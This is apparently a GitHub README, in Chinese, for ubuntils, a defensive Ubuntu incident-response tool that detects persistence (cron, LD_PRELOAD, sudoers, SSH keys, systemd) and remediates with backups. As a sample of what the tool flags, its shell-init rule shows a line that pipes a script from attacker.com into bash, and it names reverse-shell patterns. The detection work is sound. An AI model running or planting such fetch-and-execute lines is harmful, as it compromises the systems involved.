asmitdesai/ubuntils

GitHub: asmitdesai/ubuntils

一款专为 Ubuntu 设计的事件响应取证工具,通过一条命令完成持久化检测、时间线构建和自动化修复,填补 Linux 环境下快速应急响应工具的空白。

Stars: 0 | Forks: 0

# ubuntils - Ubuntu 事件响应取证工具 快速、原生的 Linux 取证工具,专为快速 Ubuntu 系统分类、持久化检测和自动化修复而设计。旨在填补事件响应工作流中的真实空白。 ![构建状态](https://img.shields.io/badge/status-development-yellow) ![Python](https://img.shields.io/badge/python-3.9+-blue) ![许可证](https://img.shields.io/badge/license-MIT-green) ![测试环境](https://img.shields.io/badge/tested-amd64%20|%20x86__64%20|%20arm64-brightgreen) ![Ubuntu](https://img.shields.io/badge/ubuntu-20.04%20|%2022.04%20|%2024.04-orange) ## 目录 1. [面临的问题](#the-problem) 2. [ubuntils 如何解决它](#how-ubuntils-solves-it) 3. [工作原理](#how-it-works) 4. [检测内容](#what-it-detects) 5. [安装](#installation) 6. [使用指南](#usage-guide) 7. [充分利用 ubuntils](#getting-the-most-out-of-ubuntils) 8. [输出示例](#example-outputs) 9. [架构](#architecture) 10. [测试与兼容性](#testing--compatibility) 11. [安全注意事项](#security-considerations) 12. [路线图](#roadmap) 13. [贡献](#contributing) 14. [许可证](#license) ## 面临的问题 ### 事件响应中的空白 在一次 DFIR 课程期间,以及围绕 Wazuh、Velociraptor、MISP 和 Shuffle 搭建家庭 SOC 的过程中,我遇到了大多数事件响应人员都熟知的一个问题: **大多数取证工具都需要在 Windows 上运行,或者在 Linux 上的碎片化非常严重,以至于系统分类变成了一项手动、易出错且枯燥的工作。** - EnCase、Autopsy 和 FTK 都是 Windows 优先的 —— 在 Linux 上运行它们需要模拟器或产生远程开销 - Volatility 3 在内存取证方面表现出色,但需要预先捕获的 dump 文件 —— 无法进行实时分类 - 其他所有工具都是跨多个工具的一系列手动命令,且没有标准化的输出 与此同时,生产环境的基础设施绝大多数是 Ubuntu。大多数 Web 服务器、云虚拟机和容器都在运行它。然而,专门针对 Ubuntu 的取证工具却非常稀少、过时或依赖于 GUI。 ### 真实的工作流痛点 当 Ubuntu 系统遭到入侵时,目前的事件响应流程如下所示: ``` 1. SSH into the system 2. Run `ps aux --forest` → Manually scan process tree 3. Run `netstat -tlpn` → Check for unexpected ports 4. Run `lsof -i` → Look for suspicious connections 5. Manually read /var/log/syslog → Look for anomalies 6. Manually read /var/log/auth.log → Check login attempts and failures 7. Read journalctl output → Cross-reference systemd events 8. Check /etc/cron.d/* + crontabs → Find cron-based persistence 9. Check /etc/systemd/system/ → Find suspicious timers or services 10. Read /etc/sudoers + /etc/sudoers.d → Look for NOPASSWD abuse 11. Check ~/.ssh/authorized_keys → Find backdoor SSH keys 12. Read ~/.bashrc, ~/.zshrc → Look for LD_PRELOAD or shell hooks 13. Check /etc/ld.so.preload → Find rootkit injection points 14. Manually correlate timestamps → Try to build a timeline 15. Write a report → Document everything found ``` 每个系统执行此操作需要 30 到 40 分钟,不同分析师之间的操作不一致,无法产生标准化的输出,并且没有自动化修复手段 —— 每次修复都是一次手动文件编辑,没有备份也无法回滚。 ## ubuntils 如何解决它 ubuntils 将整个工作流整合到一个单一的原生 CLI 工具中。 ``` sudo ubuntils scan ``` 一条命令即可在所有相关位置并行运行工件收集,应用专为 Ubuntu 持久化机制调优的 8 条检测规则,从关联的日志事件构建按时间顺序排列的时间线,并生成结构化报告 —— 整个过程大约只需 5 秒钟。 当您准备好根据发现采取行动时: ``` sudo ubuntils scan --remediate --dry-run # Preview every fix before applying sudo ubuntils scan --remediate --confirm # Apply with timestamped backups sudo ubuntils rollback /var/backups/ubuntils_TIMESTAMP/ # Undo everything ``` ### 设计原则 **原生 Linux 优先。** 无需模拟器,不依赖 Windows,没有 GUI。ubuntils 在您的基础设施运行的地方运行。 **速度与质量并重。** 工件收集并行运行。您可以在几秒钟内得到结果,且不会遗漏任何内容。 **安全第一的修复。** 每次修复在修改任何内容之前都会创建带有时间戳的备份,在应用更改之前进行验证,并提供单一回滚命令以撤销整个会话的操作。 **开放且可审计。** 每一条检测规则都有文档记录,可读且可改进。没有任何东西是黑盒。 **集成就绪。** JSON 输出可直接导入到 SIEM、MISP、TheHive 或您技术栈中的任何其他工具。 ## 工作原理 ubuntils 通过固定的管道运行每次扫描:收集、检测、构建时间线、(可选)修复,然后格式化并输出。 ### 工件收集 四个收集器并行运行。总收集时间受限于最慢的收集器,而不是所有收集器的总和。 **ProcessCollector** 运行 `ps aux --forest` 以捕获包含父子关系的完整进程树,运行 `lsof -i` 获取每个进程的开放网络连接,以及运行 `netstat -tlpn` / `netstat -tnp` 获取监听端口和已建立的连接。这会告诉您正在运行什么、它连接到了什么,以及进程树是否存在异常关系(例如 Web 服务器派生了一个 shell)。 **LogCollector** 解析 `/var/log/syslog`、`/var/log/auth.log`、`journalctl` 输出,以及在 auditd 运行时的 `/var/log/audit/audit.log`。每个源使用不同的解析策略,因为 syslog 文本、二进制 journal 日志和 audit 记录具有不同的格式。输出是按时间顺序排序的带时间戳事件的平铺列表。 **FilesystemCollector** 读取每个相关的持久化位置:`/etc/cron.d/`、系统 cron 目录、通过 `crontab -u -l` 获取的用户 crontab、systemd 定时器和服务文件、`/etc/sudoers` 及 `/etc/sudoers.d/` 下的所有内容、所有用户的 `~/.ssh/authorized_keys`、每个用户的 shell 初始化文件,以及 `/etc/ld.so.preload` 加上环境变量 LD_PRELOAD 的值。 **UserCollector** 读取 `/etc/passwd` 和 `/etc/group` 以构建所有用户的画像,包括他们的 UID、shell 和组成员身份,然后检查 `last`、`lastlog` 和 `who` 以获取最近的登录活动。 ### 持久化检测 规则引擎接收收集到的工件并应用 8 条规则。每条规则检查一个特定条件,并在满足条件时返回一个包含严重性、路径、原因和修复可用性的发现。规则是保守的 —— 只有在存在具体、特定证据时才会生成发现,而不是基于模糊的启发式方法。有关完整细分,请参阅 [检测内容](#what-it-detects)。 ### 时间线构建 时间线构建器按时间戳对所有日志事件进行排序,然后将涉及相同用户、进程或文件且时间相近的事件关联成一个可读的序列。14:00 的 SSH 登录、14:05 的 sudo 执行和 14:10 的 `.bashrc` 修改将作为关联序列出现,而不是三条互不相关的日志行。 ### 修复 当传入 `--remediate` 参数时,修复引擎会对标记为 `remediation_available: true` 的发现采取行动。每个模块遵循相同的模式:识别工件,在 `/var/backups/ubuntils/TIMESTAMP/` 中创建带有时间戳的备份,验证更改(例如针对 sudoers 运行 `visudo -cf`),应用它,验证其生效,并记录该操作。如果任何步骤失败,模块将停止,而不会使系统处于部分修改的状态。 标记为仅限人工审查(规则 7 和 8)的发现绝对不会被自动修复。这些需要人工判断,这是任何规则引擎都无法替代的。 ## 检测内容 ### 规则 1:Cron Root 执行 (高危) **检查内容:** 非 root 用户拥有以提升的上下文运行命令或指向 root 所拥有路径的条目的用户 crontab。 **重要性:** 拥有受损非 root 账户的攻击者可以植入一个 cron 任务,该任务以提升的权限重复执行,从而在无需再次利用任何漏洞的情况下实现持久化提权。 **示例:** ``` User: ubuntu Cron: */5 * * * * /tmp/check_disk.sh Running with elevated context ``` **自动修复:** 移除该 cron 条目。备份创建于 `/var/spool/cron/crontabs/ubuntu.backup.TIMESTAMP`。 ### 规则 2:Cron /tmp 路径 (高危) **检查内容:** 任何引用 `/tmp`、`/var/tmp` 或 `/dev/shm` 中路径的 cron 任务。 **重要性:** 这些目录是全局可写的。合法软件不需要指向它们的 cron 任务。攻击者将恶意软件暂存于 `/tmp` 中,因为它始终可写,且通常受到的监控不如系统目录严格。 **示例:** ``` Cron: */1 * * * * /tmp/update_check.sh ``` **自动修复:** 移除该 cron 条目。 ### 规则 3:LD_PRELOAD 注入 (高危) **检查内容:** 在 `/etc/ld.so.preload` 或任何用户的 shell 初始化文件中设置的 LD_PRELOAD,指向标准系统路径(`/lib`、`/usr/lib`、`/lib64`、`/usr/lib64`)之外的库。 **重要性:** LD_PRELOAD 强制在每个进程中于任何其他库之前加载一个共享库。这是许多 Linux rootkit 和凭据窃取器背后的机制 —— 它允许攻击者拦截系统调用、隐藏文件或透明地窃取密码。 **示例:** ``` /etc/ld.so.preload: /tmp/libhook.so OR ~/.bashrc: export LD_PRELOAD=/var/tmp/logger.so ``` **自动修复:** 注释掉 LD_PRELOAD 行。修改前已备份原始文件。 ### 规则 4:Sudoers NOPASSWD (中危) **检查内容:** 任何向非 root、非系统用户授予 NOPASSWD 访问权限的 sudoers 条目。 **重要性:** NOPASSWD 意味着入侵该账户的攻击者可以在不知道密码的情况下以 root 身份运行任何允许的命令。它在重启后依然有效,并且在事件清理后常被忽视。 **示例:** ``` ubuntu ALL=(ALL) NOPASSWD: /usr/bin/apt-get ``` **自动修复:** 移除 NOPASSWD 子句。应用前使用 `visudo -cf` 进行验证。已创建备份。 ### 规则 5:Shell 初始化劫持 (中危) **检查内容:** Shell 初始化文件(`.bashrc`、`.zshrc`、`.bash_profile`、`.profile`)包含可疑模式:`curl`/`wget` 下载、LD_PRELOAD 导出、base64 解码执行或反向 shell 指标。 **重要性:** Shell 初始化文件在用户每次打开终端或登录时运行。攻击者可以在此植入反向 shell 或凭据窃取器,在每次登录时重新执行,而无需 cron 任务。 **示例:** ``` .bashrc: export LD_PRELOAD=/tmp/liblogger.so curl -s http://attacker.com/implant.sh | bash ``` **自动修复:** 注释掉可疑行。修改前已创建备份。 ### 规则 6:SSH 密钥注入 (高危) **检查内容:** 所有用户的 `~/.ssh/authorized_keys` 中的条目,这些条目是基于文件修改时间戳最近添加的,或者与配置的白名单不匹配。 **重要性:** 注入的 SSH 密钥是最干净的后门之一 —— 静默、免密码访问,即使在原始漏洞被修补后依然存在。许多响应人员检查了 root 的 authorized_keys 却忽略了其他每个用户的相同文件。 **示例:** ``` ~/.ssh/authorized_keys: ssh-rsa AAAAB3Nz... unknown@attacker ``` **自动修复:** 移除无法识别的密钥条目。首先会创建完整的 authorized_keys 备份。 ### 规则 7:非标准 Systemd 服务 (中危) **检查内容:** 位于 `/etc/systemd/system/`、`/usr/lib/systemd/system/` 和 `/lib/systemd/system/` 之外的 Systemd 服务文件,或其 `ExecStart` 指向 `/tmp`、`/home`、`/var/tmp` 或 `/dev/shm` 的服务文件。 **重要性:** 攻击者创建 systemd 服务以实现持久化,因为它们能在重启后存活。将它们放置在可写目录中意味着不需要 root 权限即可创建它们。 **示例:** ``` /tmp/malicious.service [Service] ExecStart=/tmp/backdoor Restart=always ``` **自动修复:** 不可用 —— 需要人工审查。如果此规则产生误报,自动禁用服务可能会破坏合法软件。 ### 规则 8:系统文件修改时间戳 (中危) **检查内容:** 修改时间戳落在可配置的最近时间窗口内(默认:30 天)的关键系统文件(`/etc/passwd`、`/etc/shadow`、`/etc/sudoers`、`/etc/hosts`)。 **重要性:** 稳定的系统很少有修改 `/etc/passwd` 的情况。最近的更改意味着要么是管理员添加了用户,要么是攻击者添加了。无论是哪种情况,都值得调查。 **示例:** ``` /etc/passwd last modified: 5 days ago /etc/shadow last modified: 5 days ago ``` **自动修复:** 不可用 —— 修改可能是合法的。在采取任何行动之前,需要手动对比和审查。 ## 安装 ### 要求 - **操作系统:** Ubuntu 20.04 LTS、22.04 LTS 或 24.04 LTS - **架构:** x86-64 (amd64) 或 ARM64 (arm64) - **Python:** 3.9 或更高版本 - **权限:** 需要具有 Root 或 sudo 访问权限以进行完整的工件收集 ### 从源码安装 ``` git clone https://github.com/asmitdesai/ubuntils.git cd ubuntils python3 -m venv venv source venv/bin/activate pip install -e . ubuntils --version ubuntils --help ``` ### 从 PyPI 安装 (即将推出) ``` pip install ubuntils ``` ### 依赖 ubuntils 使用最少的外部依赖。繁重的工作都是通过 subprocess 经由标准的 Linux 系统命令完成的。 ``` click>=8.1.0 # CLI framework and argument parsing pyyaml>=6.0 # Configuration file support python-dateutil>=2.8 # Robust date and time parsing across log formats tabulate>=0.9.0 # Clean table formatting for human-readable output loguru>=0.7.0 # Structured logging with file and stream handlers ``` ## 使用指南 ### 命令 ``` # 仅检测 (只读,不对系统进行任何更改) sudo ubuntils scan # 将报告保存至文件 sudo ubuntils scan --output /tmp/report.txt # 用于 SIEM、脚本编写或管道的 JSON 输出 sudo ubuntils scan --output json # 预览所有修复措施而不应用任何更改 sudo ubuntils scan --remediate --dry-run # 应用修复并生成带时间戳的备份 sudo ubuntils scan --remediate --confirm # 将系统恢复到修复前的状态 sudo ubuntils rollback /var/backups/ubuntils_TIMESTAMP/ # 列出可用的回滚点 sudo ubuntils rollback --list # 详细的调试输出 sudo ubuntils scan -v ``` ### 参数参考 | 参数 | 描述 | |------|-------------| | `--output human` | 人类可读报告输出到 stdout (默认) | | `--output json` | 结构化 JSON 输出到 stdout | | `--output /path/file` | 将报告保存到特定文件 | | `--remediate` | 启用修复引擎 | | `--dry-run` | 预览更改而不应用 (需要 --remediate) | | `--confirm` | 应用更改并备份 (需要 --remediate) | | `-v / --verbose` | 启用 debug 级别日志记录 | ## 充分利用 ubuntils ### 推荐的事件响应工作流 **1. 首先运行仅检测模式。** 绝不要一开始就进行修复。在接触任何东西之前先了解全貌。 ``` sudo ubuntils scan ``` 阅读每一项发现。注意时间线 —— 它显示的是事件序列,而不仅仅是孤立的工件。高危 (HIGH) 发现需要立即调查。中危 (MEDIUM) 发现在您决定采取行动之前需要进行审查。 **2. 将初始状态保存为 JSON。** 这是您在进行任何更改之前系统的取证记录。 ``` sudo ubuntils scan --output json > /tmp/triage_$(hostname)_$(date +%Y%m%d_%H%M%S).json ``` **3. 在应用修复之前进行预览。** ``` sudo ubuntils scan --remediate --dry-run ``` 对于每个建议的更改,请问:这个发现绝对是恶意的,还是可能是合法的管理员操作?如果您不确定,请不要自动修复它。 **4. 当您有把握时应用修复。** ``` sudo ubuntils scan --remediate --confirm ``` 记下输出中的备份目录路径。如果需要回滚,您将需要它。 **5. 验证修复已生效。** ``` sudo ubuntils scan ``` 已修复的发现不应再出现。如果仍有任何高危 (HIGH) 发现,它们要么是仅限人工审查,要么是修复未正确应用 —— 这两种情况都会有明确的报告。 **6. 导出修复后的干净状态。** ``` sudo ubuntils scan --output json > /tmp/post_remediation_$(hostname)_$(date +%Y%m%d_%H%M%S).json ``` ### 与您的安全栈集成 **MISP:** JSON 输出中的 `findings` 数组包含具体的 IOC —— 文件路径、命令、密钥指纹。使用 `jq` 提取高危 (HIGH) 发现并将它们作为 MISP 事件导入。 ``` sudo ubuntils scan --output json | jq '.findings[] | select(.severity == "HIGH")' ``` **Wazuh:** ubuntils 可以作为自定义的 Wazuh 主动响应脚本或计划命令运行。JSON 输出作为自定义日志源摄取,用于跨端点的集中告警。 **TheHive:** 每个发现都映射到一个 TheHive observable。严重性变为标签,路径变为 observable 值,建议变为备注,时间线映射到案例时间线条目。 **Velociraptor:** 使用 Velociraptor 跨集群进行内存工件和网络取证。使用 ubuntils 在单个 Ubuntu 端点上进行实时工件收集和持久化检测。它们是互为补充的关系。 ### 提示 **以 root 身份运行,而不仅仅是 sudo。** 尽管 sudo 适用于大多数收集工作,但 root 访问权限可确保每个工件位置都是可读的,包括 `/proc/[pid]/environ` 和 `/etc/shadow`。 **在重启前进行分类。** 重启会清除正在运行的进程、活动的网络连接和临时文件。始终先运行 ubuntils。 **不要在生产系统上跳过 dry-run (预演)。** 花五秒钟查看 dry-run 输出可以避免您破坏正在运行的服务。 **理解仅限人工审查的含义。** 规则 7 和 8 被标记但绝对不会被自动修复。最近修改的 `/etc/passwd` 可能是攻击者,也可能是合法的管理员。ubuntils 提示您去查看 —— 由您决定该怎么做。 **在需要之前测试回滚。** 在实验环境中,植入一个 cron 任务,运行 `--confirm`,验证其是否被移除,然后运行回滚并验证它是否恢复。在真正发生事件之前了解回滚是如何工作的可以消除巨大的压力。 ## 输出示例 ### 人类可读报告 ``` ===== UBUNTU FORENSICS TRIAGE REPORT ===== Generated: 2024-06-15 14:23:45 UTC Hostname: web-server-01 Kernel: 5.15.0-101-generic Uptime: 45 days Scan Mode: DETECTION ONLY Duration: 4.82 seconds ----- EXECUTION SUMMARY ----- Artifacts Collected: 847 Findings: 5 (2 HIGH, 2 MEDIUM, 1 LOW) Remediation Available: 4 of 5 ----- SUSPICIOUS FINDINGS ----- [HIGH] Cron Root Execution by Non-Root User ID: FINDING_001 Location: /var/spool/cron/crontabs/ubuntu Owner: ubuntu Command: /tmp/check_disk.sh Interval: */5 * * * * (every 5 minutes) Modified: 2024-06-10 14:32:15 UTC (5 days ago) Why: Non-root user cron executing /tmp path with elevated context Auto-Fix: AVAILABLE Recommendation: Investigate /tmp/check_disk.sh immediately [HIGH] LD_PRELOAD Injection in Shell Init File ID: FINDING_002 Location: /home/ubuntu/.bashrc Value: LD_PRELOAD=/tmp/libx.so Modified: 2024-06-10 09:15:22 UTC (5 days ago) Why: LD_PRELOAD outside standard library paths; rootkit indicator Auto-Fix: AVAILABLE Recommendation: Examine /tmp/libx.so; likely credential harvester or rootkit [MEDIUM] Sudoers NOPASSWD for Unprivileged User ID: FINDING_003 Location: /etc/sudoers Entry: ubuntu ALL=(ALL) NOPASSWD: /usr/bin/apt-get Why: Passwordless sudo enables instant privilege escalation Auto-Fix: AVAILABLE Recommendation: Verify if this was intentionally configured [MEDIUM] Unexpected SSH Key in authorized_keys ID: FINDING_004 Location: /home/ubuntu/.ssh/authorized_keys Key Comment: unknown@host Modified: 2024-06-10 14:45:00 UTC (5 days ago) Why: Key added recently with unknown origin Auto-Fix: AVAILABLE Recommendation: Verify key ownership; remove if not recognized [LOW] Critical System File Modified Recently ID: FINDING_005 Location: /etc/passwd Modified: 2024-06-10 12:45:30 UTC (5 days ago) Why: /etc/passwd is rarely modified on stable systems Auto-Fix: NOT AVAILABLE (manual review required) Recommendation: Check for unauthorized accounts with `diff /etc/passwd /etc/passwd.bak` ----- TIMELINE (Last 48 Hours) ----- 2024-06-15 14:00:22 | SSH LOGIN | ubuntu | from 203.0.113.45 (SUCCESS) 2024-06-15 14:03:01 | SUDO | ubuntu | /usr/bin/apt-get update 2024-06-15 14:05:44 | FILE MODIFIED | ubuntu | /home/ubuntu/.bashrc 2024-06-15 14:08:30 | CRON ADDED | root | /tmp/check_disk.sh (every 5 min) 2024-06-15 14:10:00 | CRON RAN | root | /tmp/check_disk.sh 2024-06-15 14:15:33 | FILE MODIFIED | root | /etc/passwd 2024-06-15 14:40:01 | SSH ATTEMPT | -- | from 203.0.113.50 (FAILED x5) 2024-06-15 15:05:12 | SSHD | system | MaxAuthTries exceeded; 203.0.113.50 disconnected ----- ARTIFACT STATISTICS ----- Processes: 142 total (3 suspicious) Network: 24 total (8 listening, 16 established) Cron Jobs: 8 total (1 suspicious) Systemd Timers: 5 total (0 suspicious) Auth Events: 342 total (87 success, 255 failed) SSH Keys: 3 total (1 suspicious) Sudoers Entries: 12 total (1 NOPASSWD) ----- NEXT STEPS ----- sudo ubuntils scan --remediate --dry-run sudo ubuntils scan --remediate --confirm ``` ### 修复报告 ``` ===== UBUNTU FORENSICS REMEDIATION REPORT ===== Generated: 2024-06-15 14:31:20 UTC Hostname: web-server-01 Scan Mode: REMEDIATION (--confirm) Backup Dir: /var/backups/ubuntils_20240615_143120/ ----- REMEDIATION APPLIED ----- [OK] FINDING_001 - Cron Root Execution Action: Removed /tmp/check_disk.sh entry from ubuntu crontab Backup: /var/backups/ubuntils_20240615_143120/crontabs_ubuntu Status: SUCCESS [OK] FINDING_002 - LD_PRELOAD Injection Action: Commented out LD_PRELOAD line in /home/ubuntu/.bashrc Before: export LD_PRELOAD=/tmp/libx.so After: # export LD_PRELOAD=/tmp/libx.so [ubuntils 2024-06-15] Backup: /var/backups/ubuntils_20240615_143120/ubuntu_.bashrc Status: SUCCESS [OK] FINDING_003 - Sudoers NOPASSWD Action: Removed NOPASSWD clause; visudo syntax validated Backup: /var/backups/ubuntils_20240615_143120/sudoers Status: SUCCESS [OK] FINDING_004 - SSH Key Injection Action: Removed unknown@host key from authorized_keys Backup: /var/backups/ubuntils_20240615_143120/ubuntu_authorized_keys Status: SUCCESS [SKIPPED] FINDING_005 - System File Modification Reason: Manual review required; no auto-fix available ----- ROLLBACK ----- sudo ubuntils rollback /var/backups/ubuntils_20240615_143120/ ``` ### JSON 输出 ``` { "metadata": { "timestamp": "2024-06-15T14:23:45Z", "hostname": "web-server-01", "kernel": "5.15.0-101-generic", "uptime_days": 45, "scan_duration_seconds": 4.82, "ubuntils_version": "1.0.0", "scan_mode": "detection" }, "summary": { "artifacts_collected": 847, "findings": { "high": 2, "medium": 2, "low": 1, "total": 5 }, "remediation_available": 4 }, "findings": [ { "id": "FINDING_001", "severity": "HIGH", "category": "cron_root_execution", "title": "Cron Root Execution by Non-Root User", "path": "/var/spool/cron/crontabs/ubuntu", "owner": "ubuntu", "command": "/tmp/check_disk.sh", "details": { "cron_interval": "*/5 * * * *", "last_modified": "2024-06-10T14:32:15Z", "days_since_modified": 5 }, "why_suspicious": "Non-root user cron executing /tmp path with elevated context", "remediation": { "available": true, "type": "cron_removal", "action": "Remove cron entry" }, "recommendation": "Investigate /tmp/check_disk.sh immediately" }, { "id": "FINDING_002", "severity": "HIGH", "category": "ld_preload_injection", "title": "LD_PRELOAD Injection in Shell Init File", "path": "/home/ubuntu/.bashrc", "details": { "value": "LD_PRELOAD=/tmp/libx.so", "file_modified": "2024-06-10T09:15:22Z", "days_since_modified": 5 }, "why_suspicious": "LD_PRELOAD outside standard library paths; rootkit indicator", "remediation": { "available": true, "type": "shell_cleanup", "action": "Comment out LD_PRELOAD line" }, "recommendation": "Examine /tmp/libx.so for malicious behavior" } ], "timeline": [ { "timestamp": "2024-06-15T14:00:22Z", "event_type": "ssh_login", "user": "ubuntu", "source_ip": "203.0.113.45", "status": "success" }, { "timestamp": "2024-06-15T14:05:44Z", "event_type": "file_modified", "user": "ubuntu", "path": "/home/ubuntu/.bashrc" }, { "timestamp": "2024-06-15T14:08:30Z", "event_type": "cron_added", "user": "root", "command": "/tmp/check_disk.sh" } ], "artifacts": { "processes": { "total": 142, "suspicious": 3 }, "network": { "total": 24, "listening": 8, "established": 16 }, "cron_jobs": { "total": 8, "suspicious": 1 }, "systemd_timers": { "total": 5, "suspicious": 0 }, "auth_events": { "total": 342, "successful": 87, "failed": 255 }, "ssh_keys": { "total": 3, "suspicious": 1 }, "sudoers_entries": { "total": 12, "nopasswd": 1 } } } ``` ## 架构 ``` ubuntils/ ├── ubuntils/ │ ├── __init__.py │ ├── cli.py # Click CLI entry point, commands, flags │ ├── collectors/ │ │ ├── __init__.py │ │ ├── processes.py # ps, lsof, netstat │ │ ├── logs.py # syslog, auth, journal, auditd │ │ ├── filesystem.py # cron, sudoers, SSH, shell, LD_PRELOAD │ │ └── users.py # passwd, group, login activity │ ├── detectors/ │ │ ├── __init__.py │ │ ├── persistence.py # 8 detection rules │ │ └── anomalies.py # Timeline anomaly detection │ ├── remediators/ │ │ ├── __init__.py │ │ ├── cron_remediation.py │ │ ├── sudoers_remediation.py │ │ ├── ssh_remediation.py │ │ ├── ld_preload_remediation.py │ │ ├── shell_remediation.py │ │ ├── backup_manager.py # Timestamped backup creation │ │ └── rollback_manager.py # Backup restoration │ ├── formatters/ │ │ ├── __init__.py │ │ ├── human.py # Human-readable report │ │ └── json_formatter.py # JSON output │ └── utils/ │ ├── __init__.py │ ├── shell.py # Safe subprocess wrappers │ ├── logging.py # loguru setup │ └── validators.py # Input validation ├── tests/ │ ├── test_collectors.py │ ├── test_detectors.py │ ├── test_remediators.py │ └── test_integration.py ├── README.md ├── INSTALL.md ├── CONTRIBUTING.md ├── claude.md ├── requirements.txt ├── setup.py └── .github/ └── workflows/ └── tests.yml ``` ## 测试与兼容性 ### 平台支持 | 架构 | 状态 | 备注 | |---|---|---| | ARM64 (arm64) | 主要支持 | 通过 Parallels 在 MacBook M4 Pro 上测试 —— 最频繁的测试环境 | | AMD64 (x86-64) | 已支持 | 在原生 Ubuntu 安装上验证 | | x86 (32-bit) | 不支持 | 无支持计划 | ### Ubuntu 版本支持 | 版本 | 状态 | |---------|--------| | Ubuntu 20.04 LTS | 已支持并测试 | | Ubuntu 22.04 LTS | 已支持并测试 | | Ubuntu 24.04 LTS | 已支持并测试 | ### 运行测试套件 ``` pip install pytest pytest-cov pytest tests/ pytest --cov=ubuntils tests/ # With coverage report pytest tests/test_detectors.py -v # Single module, verbose ``` 测试套件涵盖所有 4 个收集器、所有 8 条使用已知不良和已知良好输入的检测规则、备份创建和回滚,以及针对植入工件的端到端集成测试。目标覆盖率为 80% 以上。 ## 安全注意事项 ### 为什么需要 Root 访问权限 ubuntils 需要 root 或 sudo 权限才能读取 `/var/log/*`、`/etc/sudoers`、`/etc/shadow`、所有进程的 `/proc/[pid]/environ` 以及其他用户的主目录和 crontab。对于无法获取完整 root 权限的仅限检测的扫描,ubuntils 会优雅地降级 —— 它会跳过不可读的工件并在输出中注明,而不是直接失败。 ### 修复保障措施 每一项修复操作:在修改任何内容之前创建带有时间戳的备份,在应用前验证更改(sudoers 运行 `visudo -cf`,cron 条目在移除后进行验证),绝不移除系统上的所有 sudo 访问权限,绝不强制删除文件(仅注释掉或移除特定条目),需要明确的 `--confirm` 参数,并记录带有时间戳的每个操作以用于审计追踪。 ### 在生产系统上运行 在生产环境中应用任何更改之前,请使用仅检测模式或 `--dry-run`。在修复前后保存 JSON 输出作为您的事件记录。在开始之前,请准备好从 `--confirm` 输出中获取的备份目录路径,以备需要回滚之用。 ## 路线图 ### v1.0.0 — 2024 年夏季 - [ ] 工件收集(进程、日志、文件系统、用户) - [ ] 8 条持久化检测规则 - [ ] 从日志关联构建时间线 - [ ] 带有备份和回滚的安全修复 - [ ] 人类可读和 JSON 输出 - [ ] 80% 以上的测试覆盖率 - [ ] AMD64 和 ARM64 支持 - [ ] Ubuntu 20.04、22.04、24.04 支持 ### v1.5.0 — 夏季之后 - [ ] VirusTotal API 集成(标记文件的哈希值查找) - [ ] MISP 集成(自动导出 IOC) - [ ] 基于 YAML 的自定义规则配置 - [ ] 误报白名单支持 ### v2.0.0 — 未来 - [ ] 用于报告可视化的 Web 仪表板 - [ ] Wazuh 主动响应集成 - [ ] macOS 支持 - [ ] SOAR 自动化钩子 ## 贡献 在以下领域的贡献最有价值:针对鲜为人知的 Ubuntu 持久化机制的新检测规则、针对当前未涵盖的工件源的额外收集器、针对当前标记为仅限人工审查的发现的修复模块、在不同 Ubuntu 配置和硬件上的测试用例,以及文档改进。 有关开发设置、代码样式和 Pull Request 流程,请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。 ## 许可证 MIT 许可证。详情请见 [LICENSE](LICENSE)。 ## 作者 由 **Asmit** 构建 —— BTech CS,PES University,Bengaluru。 本工具源于在一次 DFIR 课程期间以及搭建家庭 SOC 过程中对 Ubuntu 事件响应工具现状的真实不满。每一条检测规则、修复模块和设计决策都有文档记录并开放审查。 ## 支持 - **Bug 报告和功能请求:** [github.com/asmitdesai/ubuntils/issues](https://github.com/asmitdesai/ubuntils/issues) - **讨论:** [github.com/asmitdesai/ubuntils/discussions](https://github.com/asmitdesai/ubuntils/discussions) - **安全问题:** 通过 GitHub Security Advisory 私下报告 **ubuntils:自动化 Ubuntu 事件响应。交付更快。修复更智能。**
标签:GitHub Advanced Security, HTTP请求, Linux取证, Python, Velociraptor, Wazuh, 子域名变形, 安全加固, 安全运营, 库, 应急响应, 开源安全工具, 开源情报, 恶意代码分类, 扫描框架, 持久化检测, 数据包嗅探, 无后门, 无线安全, 用户态调试, 端点安全, 系统分类, 自动化取证, 自动化补救, 补丁管理, 逆向工具, 逆向工程平台